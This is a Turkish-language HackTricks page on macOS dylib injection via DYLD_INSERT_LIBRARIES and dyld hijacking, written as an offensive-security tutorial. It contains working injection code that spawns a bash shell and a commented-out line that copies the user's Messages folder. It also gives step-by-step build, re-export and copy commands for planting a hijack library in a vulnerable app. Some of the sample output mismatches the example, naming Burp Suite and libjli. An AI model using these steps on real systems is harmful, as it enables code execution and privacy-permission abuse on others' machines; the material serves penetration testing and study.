hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
2024-02-10 18:14:16 +00:00

7.4 KiB
Raw Blame History

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

DYLD_INSERT_LIBRARIES Temel örnek

Bir kabuk çalıştırmak için enjekte edilecek kütüphane:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Saldırı için kullanılacak ikili dosya:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Enjeksiyon:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Örneği

Hedeflenen zafiyetli ikili dosya /Applications/VulnDyld.app/Contents/Resources/lib/binary'dir.

{% tabs %} {% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %}

{% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)

{% endcode %} {% endtab %}

{% tab title="@executable_path" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

{% code %} {% endcode %} {% endtab %} {% endtabs %}

Önceki bilgilere göre, yüklenen kütüphanelerin imzasını kontrol etmediğini ve aşağıdaki yerden bir kütüphane yüklemeye çalıştığını biliyoruz:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Ancak, ilk kütüphane mevcut değil:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

Öyleyse, onu ele geçirmek mümkün! Meşru kütüphaneyi yeniden ihraç ederek ve aynı işlevleri sağlayarak rastgele bir kodu yürüten ve aynı işlevleri ihraç eden bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:

{% code title="lib.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

{% endcode %}

Derleyin:

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

{% endcode %}

Kütüphanede oluşturulan yeniden ihracat yolu, yükleyiciye göre göreli bir yoldur, ihracat yapılacak kütüphanenin mutlak yolunu kullanmak için değiştirelim:

{% code overflow="wrap" %}

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

Son olarak, bunu ele geçirilen konuma kopyalayın:

{% code overflow="wrap" %}

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

{% endcode %}

Ve binary'yi çalıştırın ve kütüphanenin yüklendiğini kontrol edin:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] /Applications/VulnDyld.app/Contents/Resources/lib/binary içinde dylib ele geçirildi
Kullanım: [...]

{% hint style="info" %} Bu zafiyeti kullanarak telegramın kamera izinlerini kötüye kullanmak için nasıl kullanılabileceği hakkında güzel bir yazıya https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ adresinden ulaşabilirsiniz. {% endhint %}

Daha Büyük Ölçek

Eğer beklenmedik binary'lere kütüphane enjekte etmeyi denemeyi planlıyorsanız, kütüphanenin bir işlem içinde yüklendiği olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve /bin/bash yürütmesini kaldırın).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları: